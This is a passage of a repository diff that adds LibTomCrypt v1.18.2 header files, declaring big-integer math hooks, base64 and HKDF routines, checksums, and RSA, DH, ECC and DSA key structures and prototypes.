/** store an integer as an array of octets
@param src The integer to store
@param dst The buffer to store the integer in
@return CRYPT_OK on success
*/
int (*unsigned_write)(void *src, unsigned char *dst);
/** read an array of octets and store as integer
@param dst The integer to load
@param src The array of octets
@param len The number of octets
@return CRYPT_OK on success
*/
int (*unsigned_read)( void *dst,
unsigned char *src,
unsigned long len);
/* ---- basic math ---- */
/** add two integers
@param a The first source integer
@param b The second source integer
@param c The destination of "a + b"
@return CRYPT_OK on success
*/
int (*add)(void *a, void *b, void *c);
/** add two integers
@param a The first source integer
@param b The second source integer
(single digit of upto bits_per_digit in length)
@param c The destination of "a + b"
@return CRYPT_OK on success
*/
int (*addi)(void *a, ltc_mp_digit b, void *c);
/** subtract two integers
@param a The first source integer
@param b The second source integer
@param c The destination of "a - b"
@return CRYPT_OK on success
*/
int (*sub)(void *a, void *b, void *c);
/** subtract two integers
@param a The first source integer
@param b The second source integer
(single digit of upto bits_per_digit in length)
@param c The destination of "a - b"
@return CRYPT_OK on success
*/
int (*subi)(void *a, ltc_mp_digit b, void *c);
/** multiply two integers
@param a The first source integer
@param b The second source integer
(single digit of upto bits_per_digit in length)
@param c The destination of "a * b"
@return CRYPT_OK on success
*/
int (*mul)(void *a, void *b, void *c);
/** multiply two integers
@param a The first source integer
@param b The second source integer
(single digit of upto bits_per_digit in length)
@param c The destination of "a * b"
@return CRYPT_OK on success
*/
int (*muli)(void *a, ltc_mp_digit b, void *c);
/** Square an integer
@param a The integer to square
@param b The destination
@return CRYPT_OK on success
*/
int (*sqr)(void *a, void *b);
/** Divide an integer
@param a The dividend
@param b The divisor
@param c The quotient (can be NULL to signify don't care)
@param d The remainder (can be NULL to signify don't care)
@return CRYPT_OK on success
*/
int (*mpdiv)(void *a, void *b, void *c, void *d);
/** divide by two
@param a The integer to divide (shift right)
@param b The destination
@return CRYPT_OK on success
*/
int (*div_2)(void *a, void *b);
/** Get remainder (small value)
@param a The integer to reduce
@param b The modulus (upto bits_per_digit in length)
@param c The destination for the residue
@return CRYPT_OK on success
*/
int (*modi)(void *a, ltc_mp_digit b, ltc_mp_digit *c);
/** gcd
@param a The first integer
@param b The second integer
@param c The destination for (a, b)
@return CRYPT_OK on success
*/
int (*gcd)(void *a, void *b, void *c);
/** lcm
@param a The first integer
@param b The second integer
@param c The destination for [a, b]
@return CRYPT_OK on success
*/
int (*lcm)(void *a, void *b, void *c);
/** Modular multiplication
@param a The first source
@param b The second source
@param c The modulus
@param d The destination (a*b mod c)
@return CRYPT_OK on success
*/
int (*mulmod)(void *a, void *b, void *c, void *d);
/** Modular squaring
@param a The first source
@param b The modulus
@param c The destination (a*a mod b)
@return CRYPT_OK on success
*/
int (*sqrmod)(void *a, void *b, void *c);
/** Modular inversion
@param a The value to invert
@param b The modulus
@param c The destination (1/a mod b)
@return CRYPT_OK on success
*/
int (*invmod)(void *, void *, void *);
/* ---- reduction ---- */
/** setup Montgomery
@param a The modulus
@param b The destination for the reduction digit
@return CRYPT_OK on success
*/
int (*montgomery_setup)(void *a, void **b);
/** get normalization value
@param a The destination for the normalization value
@param b The modulus
@return CRYPT_OK on success
*/
int (*montgomery_normalization)(void *a, void *b);
/** reduce a number
@param a The number [and dest] to reduce
@param b The modulus
@param c The value "b" from montgomery_setup()
@return CRYPT_OK on success
*/
int (*montgomery_reduce)(void *a, void *b, void *c);
/** clean up (frees memory)
@param a The value "b" from montgomery_setup()
@return CRYPT_OK on success
*/
void (*montgomery_deinit)(void *a);
/* ---- exponentiation ---- */
/** Modular exponentiation
@param a The base integer
@param b The power (can be negative) integer
@param c The modulus integer
@param d The destination
@return CRYPT_OK on success
*/
int (*exptmod)(void *a, void *b, void *c, void *d);
/** Primality testing
@param a The integer to test
@param b The number of Miller-Rabin tests that shall be executed
@param c The destination of the result (FP_YES if prime)
@return CRYPT_OK on success
*/
int (*isprime)(void *a, int b, int *c);
/* ---- (optional) ecc point math ---- */
/** ECC GF(p) point multiplication (from the NIST curves)
@param k The integer to multiply the point by
@param G The point to multiply
@param R The destination for kG
@param modulus The modulus for the field
@param map Boolean indicated whether to map back to affine or not
(can be ignored if you work in affine only)
@return CRYPT_OK on success
*/
int (*ecc_ptmul)( void *k,
ecc_point *G,
ecc_point *R,
void *modulus,
int map);
/** ECC GF(p) point addition
@param P The first point
@param Q The second point
@param R The destination of P + Q
@param modulus The modulus
@param mp The "b" value from montgomery_setup()
@return CRYPT_OK on success
*/
int (*ecc_ptadd)(ecc_point *P,
ecc_point *Q,
ecc_point *R,
void *modulus,
void *mp);
/** ECC GF(p) point double
@param P The first point
@param R The destination of 2P
@param modulus The modulus
@param mp The "b" value from montgomery_setup()
@return CRYPT_OK on success
*/
int (*ecc_ptdbl)(ecc_point *P,
ecc_point *R,
void *modulus,
void *mp);
/** ECC mapping from projective to affine,
currently uses (x,y,z) => (x/z^2, y/z^3, 1)
@param P The point to map
@param modulus The modulus
@param mp The "b" value from montgomery_setup()
@return CRYPT_OK on success
@remark The mapping can be different but keep in mind a
ecc_point only has three integers (x,y,z) so if
you use a different mapping you have to make it fit.
*/
int (*ecc_map)(ecc_point *P, void *modulus, void *mp);
/** Computes kA*A + kB*B = C using Shamir's Trick
@param A First point to multiply
@param kA What to multiple A by
@param B Second point to multiply
@param kB What to multiple B by
@param C [out] Destination point (can overlap with A or B)
@param modulus Modulus for curve
@return CRYPT_OK on success
*/
int (*ecc_mul2add)(ecc_point *A, void *kA,
ecc_point *B, void *kB,
ecc_point *C,
void *modulus);
/* ---- (optional) rsa optimized math (for internal CRT) ---- */
/** RSA Key Generation
@param prng An active PRNG state
@param wprng The index of the PRNG desired
@param size The size of the key in octets
@param e The "e" value (public key).
e==65537 is a good choice
@param key [out] Destination of a newly created private key pair
@return CRYPT_OK if successful, upon error all allocated ram is freed
*/
int (*rsa_keygen)(prng_state *prng,
int wprng,
int size,
long e,
rsa_key *key);
/** RSA exponentiation
@param in The octet array representing the base
@param inlen The length of the input
@param out The destination (to be stored in an octet array format)
@param outlen The length of the output buffer and the resulting size
(zero padded to the size of the modulus)
@param which PK_PUBLIC for public RSA and PK_PRIVATE for private RSA
@param key The RSA key to use
@return CRYPT_OK on success
*/
int (*rsa_me)(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen, int which,
rsa_key *key);
/* ---- basic math continued ---- */
/** Modular addition
@param a The first source
@param b The second source
@param c The modulus
@param d The destination (a + b mod c)
@return CRYPT_OK on success
*/
int (*addmod)(void *a, void *b, void *c, void *d);
/** Modular substraction
@param a The first source
@param b The second source
@param c The modulus
@param d The destination (a - b mod c)
@return CRYPT_OK on success
*/
int (*submod)(void *a, void *b, void *c, void *d);
/* ---- misc stuff ---- */
/** Make a pseudo-random mpi
@param a The mpi to make random
@param size The desired length
@return CRYPT_OK on success
*/
int (*rand)(void *a, int size);
} ltc_math_descriptor;
extern ltc_math_descriptor ltc_mp;
int ltc_init_multi(void **a, ...);
void ltc_deinit_multi(void *a, ...);
void ltc_cleanup_multi(void **a, ...);
#ifdef LTM_DESC
extern const ltc_math_descriptor ltm_desc;
#endif
#ifdef TFM_DESC
extern const ltc_math_descriptor tfm_desc;
#endif
#ifdef GMP_DESC
extern const ltc_math_descriptor gmp_desc;
#endif
#if !defined(DESC_DEF_ONLY) && defined(LTC_SOURCE)
#define MP_DIGIT_BIT ltc_mp.bits_per_digit
/* some handy macros */
#define mp_init(a) ltc_mp.init(a)
#define mp_init_multi ltc_init_multi
#define mp_clear(a) ltc_mp.deinit(a)
#define mp_clear_multi ltc_deinit_multi
#define mp_cleanup_multi ltc_cleanup_multi
#define mp_init_copy(a, b) ltc_mp.init_copy(a, b)
#define mp_neg(a, b) ltc_mp.neg(a, b)
#define mp_copy(a, b) ltc_mp.copy(a, b)
#define mp_set(a, b) ltc_mp.set_int(a, b)
#define mp_set_int(a, b) ltc_mp.set_int(a, b)
#define mp_get_int(a) ltc_mp.get_int(a)
#define mp_get_digit(a, n) ltc_mp.get_digit(a, n)
#define mp_get_digit_count(a) ltc_mp.get_digit_count(a)
#define mp_cmp(a, b) ltc_mp.compare(a, b)
#define mp_cmp_d(a, b) ltc_mp.compare_d(a, b)
#define mp_count_bits(a) ltc_mp.count_bits(a)
#define mp_cnt_lsb(a) ltc_mp.count_lsb_bits(a)
#define mp_2expt(a, b) ltc_mp.twoexpt(a, b)
#define mp_read_radix(a, b, c) ltc_mp.read_radix(a, b, c)
#define mp_toradix(a, b, c) ltc_mp.write_radix(a, b, c)
#define mp_unsigned_bin_size(a) ltc_mp.unsigned_size(a)
#define mp_to_unsigned_bin(a, b) ltc_mp.unsigned_write(a, b)
#define mp_read_unsigned_bin(a, b, c) ltc_mp.unsigned_read(a, b, c)
#define mp_add(a, b, c) ltc_mp.add(a, b, c)
#define mp_add_d(a, b, c) ltc_mp.addi(a, b, c)
#define mp_sub(a, b, c) ltc_mp.sub(a, b, c)
#define mp_sub_d(a, b, c) ltc_mp.subi(a, b, c)
#define mp_mul(a, b, c) ltc_mp.mul(a, b, c)
#define mp_mul_d(a, b, c) ltc_mp.muli(a, b, c)
#define mp_sqr(a, b) ltc_mp.sqr(a, b)
#define mp_div(a, b, c, d) ltc_mp.mpdiv(a, b, c, d)
#define mp_div_2(a, b) ltc_mp.div_2(a, b)
#define mp_mod(a, b, c) ltc_mp.mpdiv(a, b, NULL, c)
#define mp_mod_d(a, b, c) ltc_mp.modi(a, b, c)
#define mp_gcd(a, b, c) ltc_mp.gcd(a, b, c)
#define mp_lcm(a, b, c) ltc_mp.lcm(a, b, c)
#define mp_addmod(a, b, c, d) ltc_mp.addmod(a, b, c, d)
#define mp_submod(a, b, c, d) ltc_mp.submod(a, b, c, d)
#define mp_mulmod(a, b, c, d) ltc_mp.mulmod(a, b, c, d)
#define mp_sqrmod(a, b, c) ltc_mp.sqrmod(a, b, c)
#define mp_invmod(a, b, c) ltc_mp.invmod(a, b, c)
#define mp_montgomery_setup(a, b) ltc_mp.montgomery_setup(a, b)
#define mp_montgomery_normalization(a, b) ltc_mp.montgomery_normalization(a, b)
#define mp_montgomery_reduce(a, b, c) ltc_mp.montgomery_reduce(a, b, c)
#define mp_montgomery_free(a) ltc_mp.montgomery_deinit(a)
#define mp_exptmod(a,b,c,d) ltc_mp.exptmod(a,b,c,d)
#define mp_prime_is_prime(a, b, c) ltc_mp.isprime(a, b, c)
#define mp_iszero(a) (mp_cmp_d(a, 0) == LTC_MP_EQ ? LTC_MP_YES : LTC_MP_NO)
#define mp_isodd(a) (mp_get_digit_count(a) > 0 ? (mp_get_digit(a, 0) & 1 ? LTC_MP_YES : LTC_MP_NO) : LTC_MP_NO)
#define mp_exch(a, b) do { void *ABC__tmp = a; a = b; b = ABC__tmp; } while(0)
#define mp_tohex(a, b) mp_toradix(a, b, 16)
#define mp_rand(a, b) ltc_mp.rand(a, b)
#endif
/* ref: HEAD -> master, tag: v1.18.2 */
/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
/* commit time: 2018-07-01 22:49:01 +0200 */

113
include/tomcrypt_misc.h Normal file
View File

@ -0,0 +1,113 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
/* ---- LTC_BASE64 Routines ---- */
#ifdef LTC_BASE64
int base64_encode(const unsigned char *in, unsigned long len,
unsigned char *out, unsigned long *outlen);
int base64_decode(const unsigned char *in, unsigned long len,
unsigned char *out, unsigned long *outlen);
int base64_strict_decode(const unsigned char *in, unsigned long len,
unsigned char *out, unsigned long *outlen);
#endif
#ifdef LTC_BASE64_URL
int base64url_encode(const unsigned char *in, unsigned long len,
unsigned char *out, unsigned long *outlen);
int base64url_strict_encode(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int base64url_decode(const unsigned char *in, unsigned long len,
unsigned char *out, unsigned long *outlen);
int base64url_strict_decode(const unsigned char *in, unsigned long len,
unsigned char *out, unsigned long *outlen);
#endif
/* ===> LTC_HKDF -- RFC5869 HMAC-based Key Derivation Function <=== */
#ifdef LTC_HKDF
int hkdf_test(void);
int hkdf_extract(int hash_idx,
const unsigned char *salt, unsigned long saltlen,
const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int hkdf_expand(int hash_idx,
const unsigned char *info, unsigned long infolen,
const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long outlen);
int hkdf(int hash_idx,
const unsigned char *salt, unsigned long saltlen,
const unsigned char *info, unsigned long infolen,
const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long outlen);
#endif /* LTC_HKDF */
/* ---- MEM routines ---- */
int mem_neq(const void *a, const void *b, size_t len);
void zeromem(volatile void *dst, size_t len);
void burn_stack(unsigned long len);
const char *error_to_string(int err);
extern const char *crypt_build_settings;
/* ---- HMM ---- */
int crypt_fsa(void *mp, ...);
/* ---- Dynamic language support ---- */
int crypt_get_constant(const char* namein, int *valueout);
int crypt_list_all_constants(char *names_list, unsigned int *names_list_size);
int crypt_get_size(const char* namein, unsigned int *sizeout);
int crypt_list_all_sizes(char *names_list, unsigned int *names_list_size);
#ifdef LTM_DESC
void init_LTM(void);
#endif
#ifdef TFM_DESC
void init_TFM(void);
#endif
#ifdef GMP_DESC
void init_GMP(void);
#endif
#ifdef LTC_ADLER32
typedef struct adler32_state_s
{
unsigned short s[2];
} adler32_state;
void adler32_init(adler32_state *ctx);
void adler32_update(adler32_state *ctx, const unsigned char *input, unsigned long length);
void adler32_finish(adler32_state *ctx, void *hash, unsigned long size);
int adler32_test(void);
#endif
#ifdef LTC_CRC32
typedef struct crc32_state_s
{
ulong32 crc;
} crc32_state;
void crc32_init(crc32_state *ctx);
void crc32_update(crc32_state *ctx, const unsigned char *input, unsigned long length);
void crc32_finish(crc32_state *ctx, void *hash, unsigned long size);
int crc32_test(void);
#endif
int compare_testvector(const void* is, const unsigned long is_len, const void* should, const unsigned long should_len, const char* what, int which);
/* ref: HEAD -> master, tag: v1.18.2 */
/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
/* commit time: 2018-07-01 22:49:01 +0200 */

747
include/tomcrypt_pk.h Normal file
View File

@ -0,0 +1,747 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
/* ---- NUMBER THEORY ---- */
enum {
PK_PUBLIC=0,
PK_PRIVATE=1
};
/* Indicates standard output formats that can be read e.g. by OpenSSL or GnuTLS */
#define PK_STD 0x1000
int rand_prime(void *N, long len, prng_state *prng, int wprng);
#ifdef LTC_SOURCE
/* internal helper functions */
int rand_bn_bits(void *N, int bits, prng_state *prng, int wprng);
int rand_bn_upto(void *N, void *limit, prng_state *prng, int wprng);
enum public_key_algorithms {
PKA_RSA,
PKA_DSA
};
typedef struct Oid {
unsigned long OID[16];
/** Number of OID digits in use */
unsigned long OIDlen;
} oid_st;
int pk_get_oid(int pk, oid_st *st);
#endif /* LTC_SOURCE */
/* ---- RSA ---- */
#ifdef LTC_MRSA
/** RSA PKCS style key */
typedef struct Rsa_key {
/** Type of key, PK_PRIVATE or PK_PUBLIC */
int type;
/** The public exponent */
void *e;
/** The private exponent */
void *d;
/** The modulus */
void *N;
/** The p factor of N */
void *p;
/** The q factor of N */
void *q;
/** The 1/q mod p CRT param */
void *qP;
/** The d mod (p - 1) CRT param */
void *dP;
/** The d mod (q - 1) CRT param */
void *dQ;
} rsa_key;
int rsa_make_key(prng_state *prng, int wprng, int size, long e, rsa_key *key);
int rsa_get_size(rsa_key *key);
int rsa_exptmod(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen, int which,
rsa_key *key);
void rsa_free(rsa_key *key);
/* These use PKCS #1 v2.0 padding */
#define rsa_encrypt_key(_in, _inlen, _out, _outlen, _lparam, _lparamlen, _prng, _prng_idx, _hash_idx, _key) \
rsa_encrypt_key_ex(_in, _inlen, _out, _outlen, _lparam, _lparamlen, _prng, _prng_idx, _hash_idx, LTC_PKCS_1_OAEP, _key)
#define rsa_decrypt_key(_in, _inlen, _out, _outlen, _lparam, _lparamlen, _hash_idx, _stat, _key) \
rsa_decrypt_key_ex(_in, _inlen, _out, _outlen, _lparam, _lparamlen, _hash_idx, LTC_PKCS_1_OAEP, _stat, _key)
#define rsa_sign_hash(_in, _inlen, _out, _outlen, _prng, _prng_idx, _hash_idx, _saltlen, _key) \
rsa_sign_hash_ex(_in, _inlen, _out, _outlen, LTC_PKCS_1_PSS, _prng, _prng_idx, _hash_idx, _saltlen, _key)
#define rsa_verify_hash(_sig, _siglen, _hash, _hashlen, _hash_idx, _saltlen, _stat, _key) \
rsa_verify_hash_ex(_sig, _siglen, _hash, _hashlen, LTC_PKCS_1_PSS, _hash_idx, _saltlen, _stat, _key)
#define rsa_sign_saltlen_get_max(_hash_idx, _key) \
rsa_sign_saltlen_get_max_ex(LTC_PKCS_1_PSS, _hash_idx, _key)
/* These can be switched between PKCS #1 v2.x and PKCS #1 v1.5 paddings */
int rsa_encrypt_key_ex(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen,
const unsigned char *lparam, unsigned long lparamlen,
prng_state *prng, int prng_idx, int hash_idx, int padding, rsa_key *key);
int rsa_decrypt_key_ex(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen,
const unsigned char *lparam, unsigned long lparamlen,
int hash_idx, int padding,
int *stat, rsa_key *key);
int rsa_sign_hash_ex(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen,
int padding,
prng_state *prng, int prng_idx,
int hash_idx, unsigned long saltlen,
rsa_key *key);
int rsa_verify_hash_ex(const unsigned char *sig, unsigned long siglen,
const unsigned char *hash, unsigned long hashlen,
int padding,
int hash_idx, unsigned long saltlen,
int *stat, rsa_key *key);
int rsa_sign_saltlen_get_max_ex(int padding, int hash_idx, rsa_key *key);
/* PKCS #1 import/export */
int rsa_export(unsigned char *out, unsigned long *outlen, int type, rsa_key *key);
int rsa_import(const unsigned char *in, unsigned long inlen, rsa_key *key);
int rsa_import_x509(const unsigned char *in, unsigned long inlen, rsa_key *key);
int rsa_import_pkcs8(const unsigned char *in, unsigned long inlen,
const void *passwd, unsigned long passwdlen, rsa_key *key);
int rsa_set_key(const unsigned char *N, unsigned long Nlen,
const unsigned char *e, unsigned long elen,
const unsigned char *d, unsigned long dlen,
rsa_key *key);
int rsa_set_factors(const unsigned char *p, unsigned long plen,
const unsigned char *q, unsigned long qlen,
rsa_key *key);
int rsa_set_crt_params(const unsigned char *dP, unsigned long dPlen,
const unsigned char *dQ, unsigned long dQlen,
const unsigned char *qP, unsigned long qPlen,
rsa_key *key);
#endif
/* ---- Katja ---- */
#ifdef LTC_MKAT
/* Min and Max KAT key sizes (in bits) */
#define MIN_KAT_SIZE 1024
#define MAX_KAT_SIZE 4096
/** Katja PKCS style key */
typedef struct KAT_key {
/** Type of key, PK_PRIVATE or PK_PUBLIC */
int type;
/** The private exponent */
void *d;
/** The modulus */
void *N;
/** The p factor of N */
void *p;
/** The q factor of N */
void *q;
/** The 1/q mod p CRT param */
void *qP;
/** The d mod (p - 1) CRT param */
void *dP;
/** The d mod (q - 1) CRT param */
void *dQ;
/** The pq param */
void *pq;
} katja_key;
int katja_make_key(prng_state *prng, int wprng, int size, katja_key *key);
int katja_exptmod(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen, int which,
katja_key *key);
void katja_free(katja_key *key);
/* These use PKCS #1 v2.0 padding */
int katja_encrypt_key(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen,
const unsigned char *lparam, unsigned long lparamlen,
prng_state *prng, int prng_idx, int hash_idx, katja_key *key);
int katja_decrypt_key(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen,
const unsigned char *lparam, unsigned long lparamlen,
int hash_idx, int *stat,
katja_key *key);
/* PKCS #1 import/export */
int katja_export(unsigned char *out, unsigned long *outlen, int type, katja_key *key);
int katja_import(const unsigned char *in, unsigned long inlen, katja_key *key);
#endif
/* ---- DH Routines ---- */
#ifdef LTC_MDH
typedef struct {
int type;
void *x;
void *y;
void *base;
void *prime;
} dh_key;
int dh_get_groupsize(dh_key *key);
int dh_export(unsigned char *out, unsigned long *outlen, int type, dh_key *key);
int dh_import(const unsigned char *in, unsigned long inlen, dh_key *key);
int dh_set_pg(const unsigned char *p, unsigned long plen,
const unsigned char *g, unsigned long glen,
dh_key *key);
int dh_set_pg_dhparam(const unsigned char *dhparam, unsigned long dhparamlen, dh_key *key);
int dh_set_pg_groupsize(int groupsize, dh_key *key);
int dh_set_key(const unsigned char *in, unsigned long inlen, int type, dh_key *key);
int dh_generate_key(prng_state *prng, int wprng, dh_key *key);
int dh_shared_secret(dh_key *private_key, dh_key *public_key,
unsigned char *out, unsigned long *outlen);
void dh_free(dh_key *key);
int dh_export_key(void *out, unsigned long *outlen, int type, dh_key *key);
#ifdef LTC_SOURCE
typedef struct {
int size;
const char *name, *base, *prime;
} ltc_dh_set_type;
extern const ltc_dh_set_type ltc_dh_sets[];
/* internal helper functions */
int dh_check_pubkey(dh_key *key);
#endif
#endif /* LTC_MDH */
/* ---- ECC Routines ---- */
#ifdef LTC_MECC
/* size of our temp buffers for exported keys */
#define ECC_BUF_SIZE 256
/* max private key size */
#define ECC_MAXSIZE 66
/** Structure defines a NIST GF(p) curve */
typedef struct {
/** The size of the curve in octets */
int size;
/** name of curve */
const char *name;
/** The prime that defines the field the curve is in (encoded in hex) */
const char *prime;
/** The fields B param (hex) */
const char *B;
/** The order of the curve (hex) */
const char *order;
/** The x co-ordinate of the base point on the curve (hex) */
const char *Gx;
/** The y co-ordinate of the base point on the curve (hex) */
const char *Gy;
} ltc_ecc_set_type;
/** A point on a ECC curve, stored in Jacbobian format such that (x,y,z) => (x/z^2, y/z^3, 1) when interpretted as affine */
typedef struct {
/** The x co-ordinate */
void *x;
/** The y co-ordinate */
void *y;
/** The z co-ordinate */
void *z;
} ecc_point;
/** An ECC key */
typedef struct {
/** Type of key, PK_PRIVATE or PK_PUBLIC */
int type;
/** Index into the ltc_ecc_sets[] for the parameters of this curve; if -1, then this key is using user supplied curve in dp */
int idx;
/** pointer to domain parameters; either points to NIST curves (identified by idx >= 0) or user supplied curve */
const ltc_ecc_set_type *dp;
/** The public key */
ecc_point pubkey;
/** The private key */
void *k;
} ecc_key;
/** the ECC params provided */
extern const ltc_ecc_set_type ltc_ecc_sets[];
int ecc_test(void);
void ecc_sizes(int *low, int *high);
int ecc_get_size(ecc_key *key);
int ecc_make_key(prng_state *prng, int wprng, int keysize, ecc_key *key);
int ecc_make_key_ex(prng_state *prng, int wprng, ecc_key *key, const ltc_ecc_set_type *dp);
void ecc_free(ecc_key *key);
int ecc_export(unsigned char *out, unsigned long *outlen, int type, ecc_key *key);
int ecc_import(const unsigned char *in, unsigned long inlen, ecc_key *key);
int ecc_import_ex(const unsigned char *in, unsigned long inlen, ecc_key *key, const ltc_ecc_set_type *dp);
int ecc_ansi_x963_export(ecc_key *key, unsigned char *out, unsigned long *outlen);
int ecc_ansi_x963_import(const unsigned char *in, unsigned long inlen, ecc_key *key);
int ecc_ansi_x963_import_ex(const unsigned char *in, unsigned long inlen, ecc_key *key, ltc_ecc_set_type *dp);
int ecc_shared_secret(ecc_key *private_key, ecc_key *public_key,
unsigned char *out, unsigned long *outlen);
int ecc_encrypt_key(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen,
prng_state *prng, int wprng, int hash,
ecc_key *key);
int ecc_decrypt_key(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen,
ecc_key *key);
int ecc_sign_hash_rfc7518(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen,
prng_state *prng, int wprng, ecc_key *key);
int ecc_sign_hash(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen,
prng_state *prng, int wprng, ecc_key *key);
int ecc_verify_hash_rfc7518(const unsigned char *sig, unsigned long siglen,
const unsigned char *hash, unsigned long hashlen,
int *stat, ecc_key *key);
int ecc_verify_hash(const unsigned char *sig, unsigned long siglen,
const unsigned char *hash, unsigned long hashlen,
int *stat, ecc_key *key);
/* low level functions */
ecc_point *ltc_ecc_new_point(void);
void ltc_ecc_del_point(ecc_point *p);
int ltc_ecc_is_valid_idx(int n);
/* point ops (mp == montgomery digit) */
#if !defined(LTC_MECC_ACCEL) || defined(LTM_DESC) || defined(GMP_DESC)
/* R = 2P */
int ltc_ecc_projective_dbl_point(ecc_point *P, ecc_point *R, void *modulus, void *mp);
/* R = P + Q */
int ltc_ecc_projective_add_point(ecc_point *P, ecc_point *Q, ecc_point *R, void *modulus, void *mp);
#endif
#if defined(LTC_MECC_FP)
/* optimized point multiplication using fixed point cache (HAC algorithm 14.117) */
int ltc_ecc_fp_mulmod(void *k, ecc_point *G, ecc_point *R, void *modulus, int map);
/* functions for saving/loading/freeing/adding to fixed point cache */
int ltc_ecc_fp_save_state(unsigned char **out, unsigned long *outlen);
int ltc_ecc_fp_restore_state(unsigned char *in, unsigned long inlen);
void ltc_ecc_fp_free(void);
int ltc_ecc_fp_add_point(ecc_point *g, void *modulus, int lock);
/* lock/unlock all points currently in fixed point cache */
void ltc_ecc_fp_tablelock(int lock);
#endif
/* R = kG */
int ltc_ecc_mulmod(void *k, ecc_point *G, ecc_point *R, void *modulus, int map);
#ifdef LTC_ECC_SHAMIR
/* kA*A + kB*B = C */
int ltc_ecc_mul2add(ecc_point *A, void *kA,
ecc_point *B, void *kB,
ecc_point *C,
void *modulus);
#ifdef LTC_MECC_FP
/* Shamir's trick with optimized point multiplication using fixed point cache */
int ltc_ecc_fp_mul2add(ecc_point *A, void *kA,
ecc_point *B, void *kB,
ecc_point *C, void *modulus);
#endif
#endif
/* map P to affine from projective */
int ltc_ecc_map(ecc_point *P, void *modulus, void *mp);
#endif
#ifdef LTC_MDSA
/* Max diff between group and modulus size in bytes */
#define LTC_MDSA_DELTA 512
/* Max DSA group size in bytes (default allows 4k-bit groups) */
#define LTC_MDSA_MAX_GROUP 512
/** DSA key structure */
typedef struct {
/** The key type, PK_PRIVATE or PK_PUBLIC */
int type;
/** The order of the sub-group used in octets */
int qord;
/** The generator */
void *g;
/** The prime used to generate the sub-group */
void *q;
/** The large prime that generats the field the contains the sub-group */
void *p;
/** The private key */
void *x;
/** The public key */
void *y;
} dsa_key;
int dsa_make_key(prng_state *prng, int wprng, int group_size, int modulus_size, dsa_key *key);
int dsa_set_pqg(const unsigned char *p, unsigned long plen,
const unsigned char *q, unsigned long qlen,
const unsigned char *g, unsigned long glen,
dsa_key *key);
int dsa_set_pqg_dsaparam(const unsigned char *dsaparam, unsigned long dsaparamlen, dsa_key *key);
int dsa_generate_pqg(prng_state *prng, int wprng, int group_size, int modulus_size, dsa_key *key);
int dsa_set_key(const unsigned char *in, unsigned long inlen, int type, dsa_key *key);
int dsa_generate_key(prng_state *prng, int wprng, dsa_key *key);
void dsa_free(dsa_key *key);
int dsa_sign_hash_raw(const unsigned char *in, unsigned long inlen,
void *r, void *s,
prng_state *prng, int wprng, dsa_key *key);
int dsa_sign_hash(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen,
prng_state *prng, int wprng, dsa_key *key);
int dsa_verify_hash_raw( void *r, void *s,
const unsigned char *hash, unsigned long hashlen,
int *stat, dsa_key *key);
int dsa_verify_hash(const unsigned char *sig, unsigned long siglen,
const unsigned char *hash, unsigned long hashlen,
int *stat, dsa_key *key);
int dsa_encrypt_key(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen,
prng_state *prng, int wprng, int hash,
dsa_key *key);
int dsa_decrypt_key(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen,
dsa_key *key);
int dsa_import(const unsigned char *in, unsigned long inlen, dsa_key *key);
int dsa_export(unsigned char *out, unsigned long *outlen, int type, dsa_key *key);
int dsa_verify_key(dsa_key *key, int *stat);
#ifdef LTC_SOURCE
/* internal helper functions */
int dsa_int_validate_xy(dsa_key *key, int *stat);
int dsa_int_validate_pqg(dsa_key *key, int *stat);
int dsa_int_validate_primes(dsa_key *key, int *stat);
#endif
int dsa_shared_secret(void *private_key, void *base,
dsa_key *public_key,
unsigned char *out, unsigned long *outlen);
#endif
#ifdef LTC_DER
/* DER handling */
typedef enum ltc_asn1_type_ {
/* 0 */
LTC_ASN1_EOL,
LTC_ASN1_BOOLEAN,
LTC_ASN1_INTEGER,
LTC_ASN1_SHORT_INTEGER,
LTC_ASN1_BIT_STRING,
/* 5 */
LTC_ASN1_OCTET_STRING,
LTC_ASN1_NULL,
LTC_ASN1_OBJECT_IDENTIFIER,
LTC_ASN1_IA5_STRING,
LTC_ASN1_PRINTABLE_STRING,
/* 10 */
LTC_ASN1_UTF8_STRING,
LTC_ASN1_UTCTIME,
LTC_ASN1_CHOICE,
LTC_ASN1_SEQUENCE,
LTC_ASN1_SET,
/* 15 */
LTC_ASN1_SETOF,
LTC_ASN1_RAW_BIT_STRING,
LTC_ASN1_TELETEX_STRING,
LTC_ASN1_CONSTRUCTED,
LTC_ASN1_CONTEXT_SPECIFIC,
/* 20 */
LTC_ASN1_GENERALIZEDTIME,
} ltc_asn1_type;
/** A LTC ASN.1 list type */
typedef struct ltc_asn1_list_ {
/** The LTC ASN.1 enumerated type identifier */
ltc_asn1_type type;
/** The data to encode or place for decoding */
void *data;
/** The size of the input or resulting output */
unsigned long size;
/** The used flag, this is used by the CHOICE ASN.1 type to indicate which choice was made */
int used;
/** prev/next entry in the list */
